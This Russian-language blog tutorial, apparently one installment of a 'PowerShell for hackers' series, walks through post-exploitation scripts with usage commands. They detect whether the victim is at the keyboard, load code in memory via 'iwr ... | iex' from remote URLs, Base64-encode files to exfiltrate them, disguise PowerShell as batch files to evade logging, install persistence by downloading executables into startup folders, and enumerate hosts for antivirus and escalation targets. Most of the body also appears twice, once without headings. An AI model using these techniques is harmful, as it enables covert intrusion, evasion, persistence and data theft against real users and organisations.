Добро пожаловать обратно, кибервоины!
Мы продолжаем работу над модулем PowerShell для хакеров, и сегодня мы рассмотрим ещё несколько скриптов. Некоторые из них ориентированы на скрытность, например, на проверку того, находится ли пользователь за клавиатурой перед выполнением действий. Другие позволяют обозначить своё присутствие, меняя обои или воспроизводя звуки. У нас также есть скрипты для перемещения данных путём преобразования файлов в текст или обхода ограничений путём маскировки скриптов PowerShell под пакетные файлы. Мы также добавили скрипт с подробным отчётом о системе для повышения привилегий. Кроме того, мы рассмотрим быстрый способ обеспечения персистентности и повторного запуска скрипта после перезагрузки.
Изучение этих данных важно для обеих сторон. Злоумышленники видят, как сохранить доступ, не вызывая подозрений, и получить необходимую информацию. Защитники видят те же уловки с другой стороны, что помогает им понять, на что обращать внимание в журналах и на необычное поведение системы.
Давайте разберем их по порядку.
Первый скрипт предназначен для определения того, действительно ли жертва использует компьютер. Это важнее, чем кажется. Особенно полезно при подключении к скомпрометированному компьютеру через VNC или RDP. Если настоящий пользователь присутствует, ваше внезапное появление на экране сразу же вызовет подозрения. С другой стороны, дождавшись, пока рабочая станция останется без присмотра, вы сможете действовать незаметно.
Скрипт имеет два режима:
Target-Comes: отслеживает горизонтальное перемещение курсора мыши. Если движение не обнаружено, каждые несколько секунд отправляется безвредное нажатие клавиши Caps Lock для поддержания активности. Это поддерживает сеанс и предотвращает блокировку экрана. Как только курсор перемещается, функция останавливается, сообщая, что пользователь вернулся.
Target-Leaves: отслеживает положение курсора в течение заданного интервала. Если курсор не перемещается в течение этого времени, скрипт считает, что пользователь покинул рабочее место. Вы можете указать собственное время бездействия.
Использование простое:
PS > . .\watch.ps1
PS > Target-Comes
PS > Target-Leaves -Seconds 10
Для более скрытного использования скрипт можно загрузить непосредственно из памяти с помощью команд, таких как iwr и iex, избегая попадания файлов на диск. Имейте в виду, что эти команды могут отслеживаться в хорошо защищённых средах.
Воспроизведение звукового файла на взломанном компьютере может не иметь прямого оперативного преимущества, но может стать эффективным психологическим инструментом. Некоторые хакеры используют его в конце операции, чтобы сделать своё присутствие очевидным — либо для отвлечения внимания, либо для заявления.
Скрипт воспроизводит любой WAV-файл по вашему выбору. В зависимости от ваших целей, вы можете включить безобидный звук уведомления, воспроизвести длинный аудиоклип в качестве домогательства или использовать его в сочетании со сменой обоев для максимального эффекта.
PS > . .\play-sound.ps1
PS > PlaySound "C:\Windows\Temp\sound.wav"
Смена обоев на рабочем столе жертвы — классический приём, часто применяемый в самом конце атаки. Это символично и наглядно, показывая, что кто-то взял управление в свои руки. Некоторые группы использовали это в политически мотивированных атаках, другие — в операциях по вымогательству, чтобы уведомить жертв или запугать их.
Этот скрипт поддерживает распространённые форматы, такие как JPG и PNG, хотя Windows преобразует их в BMP. Он прост в использовании и может быть дополнен звуковым сопровождением для ещё большего эффекта.
PS > iwr https://raw.githubusercontent.com/... | iex
PS > Set-WallPaper -Image "C:\Users\Public\hacked.jpg" -Style Fit
При работе со скомпрометированными компьютерами возможности кражи данных часто ограничены. Возможно, у вас ограниченное подключение к сети или вы ограничены простым сеансом PowerShell без возможности передачи файлов. В таких случаях конвертация файлов в формат Base64 является хорошим решением.
Этот скрипт позволяет кодировать изображения в формат Base64 и сохранять результаты в текстовых файлах. Поскольку текст легко копируется и вставляется, это позволяет перемещать изображения или другие двоичные файлы без их загрузки. Скрипт также может декодировать Base64 обратно в изображение после извлечения текста.
Кодировать:
PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location temp
PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location desk
Расшифровать:
PS > b64-img -file "$env:\TMP\encImage.txt" -location temp
Благодаря этому изъятые данные можно восстановить в исходном виде на вашем компьютере.
Кодирование Base64 подходит не только для изображений. Это один из самых надёжных методов обработки небольших файлов и кодирования командных строк. Некоторые команды могут быть повреждены при прямом копировании, если содержат специальные символы. Кодируя их, вы можете быть уверены в корректной работе.
Этот скрипт может кодировать и декодировать как файлы, так и строки:
PS > B64 -encFile "C:\Users\User\Desktop\example.txt"
PS > B64 -decFile "C:\Users\User\Desktop\example.txt"
PS > B64 -encString 'start notepad'
PS > B64 -decString 'cwB0AGEAcgB0ACAAbgBvAHQAZQBwAGEAZAA='
Он даже поддерживает передачу результатов непосредственно в буфер обмена для быстрого использования:
PS > COMMAND | clip
В некоторых средах применяется строгий мониторинг PowerShell, протоколирование каждого выполнения скрипта, а иногда и полная блокировка файлов .ps1. Однако пакетные файлы по-прежнему широко используются в корпоративных средах и часто игнорируются.
Этот скрипт преобразует любой PS-файл в BAT-файл, одновременно кодируя его в Base64. Такая комбинация не только маскирует природу скрипта, но и снижает вероятность его обнаружения фильтрами по ключевым словам. Это не гарантирует полной безопасности, но может сэкономить время в условиях ограничений.
PS > . .\ps2bat.ps1
PS > ".\script.ps1" | P2B
Результатом будет новый пакетный файл в том же каталоге, готовый к развертыванию.
Это механизм персистентности, который обеспечивает автоматическое выполнение полезной нагрузки при запуске системы или пользовательского сеанса. Он дважды загружает исполняемый файл с предоставленного URL-адреса, сохраняя его в обоих каталогах автозагрузки. Использование Invoke-WebRequest делает загрузку простой и незаметной, без взаимодействия с пользователем. После размещения в этих каталогах автозагрузки исполняемый файл будет автоматически запущен при следующем запуске Windows или входе пользователя в систему.
Это особенно важно для сохранения доступа к системе в течение длительного времени, обеспечения её работоспособности после перезагрузок и обеспечения автоматической повторной активации любых вредоносных действий, таких как бэкдоры, кейлоггеры или агенты управления. Несмотря на свою простоту, этот подход всё же эффективен в средах, где папки автозагрузки не контролируются и не защищаются должным образом.
Сначала отредактируйте скрипт и укажите URL-адрес и имя исполняемого файла, затем запустите его следующим образом:
PS > .\autostart.ps1
Этот скрипт, по сути, представляет собой инструмент разведки и аудита системы. Он собирает широкий спектр системной информации и сохраняет результаты в текстовом файле во временном каталоге Windows. Хакеры найдут такой скрипт полезным, поскольку он предоставляет консолидированный отчёт о состоянии скомпрометированной системы. Списки процессов и служб помогут вам найти антивирусное ПО или инструменты мониторинга, работающие на хосте. Статистика использования оборудования показывает, подходит ли система для майнинга криптовалют. Открытые порты показывают потенциальные каналы связи и точки входа для латерального перемещения. Установленное программное обеспечение также проверяется на наличие уязвимых версий или ценных корпоративных приложений. Собирая всю информацию в одном отчёте, вы экономите много времени.
Чтобы не трогать диск после первой компрометации, выполните скрипт в памяти:
PS > iwr <a href="http://github.com/…">http://github.com/…</a> | iex
Все эти данные не только отображаются в консоли, но и записываются в файл отчета, который хранится по адресу C:\Windows\Temp\scan_result.txt.
Это небольшие и повторяющиеся фрагменты, которые хакеры могут использовать для более масштабных атак. Контроль мыши и загрузчик в памяти обеспечат вам тихий начальный доступ. Добавьте автоматический запуск, и этот тихий доступ сохранится после перезагрузки и станет постоянным бэкдором. Затем запустите перечислитель, чтобы отобразить важные цели для эскалации. Кодирование файлов в Base64 и их вставка небольшими фрагментами превращает заблокированный хост в надежный канал эксфильтрации. Упаковка PowerShell в .bat скрывает намерения достаточно долго, чтобы проводить разведку в средах, где активно ведется журналирование PowerShell. Простые визуальные или звуковые изменения могут использоваться в качестве сигналов в скоординированных кампаниях, пока основная работа происходит в другом месте.
Мы продолжаем работу над модулем PowerShell для хакеров, и сегодня мы рассмотрим ещё несколько скриптов. Некоторые из них ориентированы на скрытность, например, на проверку того, находится ли пользователь за клавиатурой перед выполнением действий. Другие позволяют обозначить своё присутствие, меняя обои или воспроизводя звуки. У нас также есть скрипты для перемещения данных путём преобразования файлов в текст или обхода ограничений путём маскировки скриптов PowerShell под пакетные файлы. Мы также добавили скрипт с подробным отчётом о системе для повышения привилегий. Кроме того, мы рассмотрим быстрый способ обеспечения персистентности и повторного запуска скрипта после перезагрузки.
Изучение этих данных важно для обеих сторон. Злоумышленники видят, как сохранить доступ, не вызывая подозрений, и получить необходимую информацию. Защитники видят те же уловки с другой стороны, что помогает им понять, на что обращать внимание в журналах и на необычное поведение системы.
Давайте разберем их по порядку.
Обнаружение активности пользователя
Репо:
https://github.com/soupbone89/Scripts/tree/main/WatchmanПервый скрипт предназначен для определения того, действительно ли жертва использует компьютер. Это важнее, чем кажется. Особенно полезно при подключении к скомпрометированному компьютеру через VNC или RDP. Если настоящий пользователь присутствует, ваше внезапное появление на экране сразу же вызовет подозрения. С другой стороны, дождавшись, пока рабочая станция останется без присмотра, вы сможете действовать незаметно.
Скрипт имеет два режима:
Target-Comes: отслеживает горизонтальное перемещение курсора мыши. Если движение не обнаружено, каждые несколько секунд отправляется безвредное нажатие клавиши Caps Lock для поддержания активности. Это поддерживает сеанс и предотвращает блокировку экрана. Как только курсор перемещается, функция останавливается, сообщая, что пользователь вернулся.
Target-Leaves: отслеживает положение курсора в течение заданного интервала. Если курсор не перемещается в течение этого времени, скрипт считает, что пользователь покинул рабочее место. Вы можете указать собственное время бездействия.
Использование простое:
PS > . .\watch.ps1
PS > Target-Comes
PS > Target-Leaves -Seconds 10
Для более скрытного использования скрипт можно загрузить непосредственно из памяти с помощью команд, таких как iwr и iex, избегая попадания файлов на диск. Имейте в виду, что эти команды могут отслеживаться в хорошо защищённых средах.
Воспроизведение звука
Репо:
https://github.com/soupbone89/Scripts/tree/main/Play SoundВоспроизведение звукового файла на взломанном компьютере может не иметь прямого оперативного преимущества, но может стать эффективным психологическим инструментом. Некоторые хакеры используют его в конце операции, чтобы сделать своё присутствие очевидным — либо для отвлечения внимания, либо для заявления.
Скрипт воспроизводит любой WAV-файл по вашему выбору. В зависимости от ваших целей, вы можете включить безобидный звук уведомления, воспроизвести длинный аудиоклип в качестве домогательства или использовать его в сочетании со сменой обоев для максимального эффекта.
PS > . .\play-sound.ps1
PS > PlaySound "C:\Windows\Temp\sound.wav"
Смена обоев
Репо:
https://github.com/soupbone89/Scripts/tree/main/Change WallpaperСмена обоев на рабочем столе жертвы — классический приём, часто применяемый в самом конце атаки. Это символично и наглядно, показывая, что кто-то взял управление в свои руки. Некоторые группы использовали это в политически мотивированных атаках, другие — в операциях по вымогательству, чтобы уведомить жертв или запугать их.
Этот скрипт поддерживает распространённые форматы, такие как JPG и PNG, хотя Windows преобразует их в BMP. Он прост в использовании и может быть дополнен звуковым сопровождением для ещё большего эффекта.
PS > iwr https://raw.githubusercontent.com/... | iex
PS > Set-WallPaper -Image "C:\Users\Public\hacked.jpg" -Style Fit
Преобразование изображений в Base64
Репо:
https://github.com/soupbone89/Scripts/tree/main/Base642ImageПри работе со скомпрометированными компьютерами возможности кражи данных часто ограничены. Возможно, у вас ограниченное подключение к сети или вы ограничены простым сеансом PowerShell без возможности передачи файлов. В таких случаях конвертация файлов в формат Base64 является хорошим решением.
Этот скрипт позволяет кодировать изображения в формат Base64 и сохранять результаты в текстовых файлах. Поскольку текст легко копируется и вставляется, это позволяет перемещать изображения или другие двоичные файлы без их загрузки. Скрипт также может декодировать Base64 обратно в изображение после извлечения текста.
Кодировать:
PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location temp
PS > img-b64 -img "C:\Users\rs1\Downloads\bytes.jpg" -location desk
Расшифровать:
PS > b64-img -file "$env:\TMP\encImage.txt" -location temp
Благодаря этому изъятые данные можно восстановить в исходном виде на вашем компьютере.
Конвертер текста Base64
Репо:
https://github.com/soupbone89/Scripts/tree/main/Base64 EncoderКодирование Base64 подходит не только для изображений. Это один из самых надёжных методов обработки небольших файлов и кодирования командных строк. Некоторые команды могут быть повреждены при прямом копировании, если содержат специальные символы. Кодируя их, вы можете быть уверены в корректной работе.
Этот скрипт может кодировать и декодировать как файлы, так и строки:
PS > B64 -encFile "C:\Users\User\Desktop\example.txt"
PS > B64 -decFile "C:\Users\User\Desktop\example.txt"
PS > B64 -encString 'start notepad'
PS > B64 -decString 'cwB0AGEAcgB0ACAAbgBvAHQAZQBwAGEAZAA='
Он даже поддерживает передачу результатов непосредственно в буфер обмена для быстрого использования:
PS > COMMAND | clip
Преобразование скриптов PowerShell в пакетные файлы
Репо:
https://github.com/soupbone89/Scripts/tree/main/Powershell2BatВ некоторых средах применяется строгий мониторинг PowerShell, протоколирование каждого выполнения скрипта, а иногда и полная блокировка файлов .ps1. Однако пакетные файлы по-прежнему широко используются в корпоративных средах и часто игнорируются.
Этот скрипт преобразует любой PS-файл в BAT-файл, одновременно кодируя его в Base64. Такая комбинация не только маскирует природу скрипта, но и снижает вероятность его обнаружения фильтрами по ключевым словам. Это не гарантирует полной безопасности, но может сэкономить время в условиях ограничений.
PS > . .\ps2bat.ps1
PS > ".\script.ps1" | P2B
Результатом будет новый пакетный файл в том же каталоге, готовый к развертыванию.
Установщик автозапуска
Репо:
https://github.com/soupbone89/Scripts/tree/main/AutostartЭто механизм персистентности, который обеспечивает автоматическое выполнение полезной нагрузки при запуске системы или пользовательского сеанса. Он дважды загружает исполняемый файл с предоставленного URL-адреса, сохраняя его в обоих каталогах автозагрузки. Использование Invoke-WebRequest делает загрузку простой и незаметной, без взаимодействия с пользователем. После размещения в этих каталогах автозагрузки исполняемый файл будет автоматически запущен при следующем запуске Windows или входе пользователя в систему.
Это особенно важно для сохранения доступа к системе в течение длительного времени, обеспечения её работоспособности после перезагрузок и обеспечения автоматической повторной активации любых вредоносных действий, таких как бэкдоры, кейлоггеры или агенты управления. Несмотря на свою простоту, этот подход всё же эффективен в средах, где папки автозагрузки не контролируются и не защищаются должным образом.
Сначала отредактируйте скрипт и укажите URL-адрес и имя исполняемого файла, затем запустите его следующим образом:
PS > .\autostart.ps1
Универсальный перечислитель
Репо:
https://github.com/soupbone89/Scripts/tree/main/EnumeratorЭтот скрипт, по сути, представляет собой инструмент разведки и аудита системы. Он собирает широкий спектр системной информации и сохраняет результаты в текстовом файле во временном каталоге Windows. Хакеры найдут такой скрипт полезным, поскольку он предоставляет консолидированный отчёт о состоянии скомпрометированной системы. Списки процессов и служб помогут вам найти антивирусное ПО или инструменты мониторинга, работающие на хосте. Статистика использования оборудования показывает, подходит ли система для майнинга криптовалют. Открытые порты показывают потенциальные каналы связи и точки входа для латерального перемещения. Установленное программное обеспечение также проверяется на наличие уязвимых версий или ценных корпоративных приложений. Собирая всю информацию в одном отчёте, вы экономите много времени.
Чтобы не трогать диск после первой компрометации, выполните скрипт в памяти:
PS > iwr <a href="http://github.com/…">http://github.com/…</a> | iex
Все эти данные не только отображаются в консоли, но и записываются в файл отчета, который хранится по адресу C:\Windows\Temp\scan_result.txt.
Краткое содержание
Сегодня мы рассмотрели несколько приёмов PowerShell, которые вы сможете использовать, как только освоитесь. Основное внимание уделяется практическому применению. Вы узнали, как оставаться незамеченным, как оставить след, когда нужно, как тайно передавать данные, когда традиционные каналы связи заблокированы, и как обеспечить сохранение доступа после перезагрузки. Кроме того, есть удобный скрипт, который извлекает массу полезной информации, если вы знаете, что ищете.Это небольшие и повторяющиеся фрагменты, которые хакеры могут использовать для более масштабных атак. Контроль мыши и загрузчик в памяти обеспечат вам тихий начальный доступ. Добавьте автоматический запуск, и этот тихий доступ сохранится после перезагрузки и станет постоянным бэкдором. Затем запустите перечислитель, чтобы отобразить важные цели для эскалации. Кодирование файлов в Base64 и их вставка небольшими фрагментами превращает заблокированный хост в надежный канал эксфильтрации. Упаковка PowerShell в .bat скрывает намерения достаточно долго, чтобы проводить разведку в средах, где активно ведется журналирование PowerShell. Простые визуальные или звуковые изменения могут использоваться в качестве сигналов в скоординированных кампаниях, пока основная работа происходит в другом месте.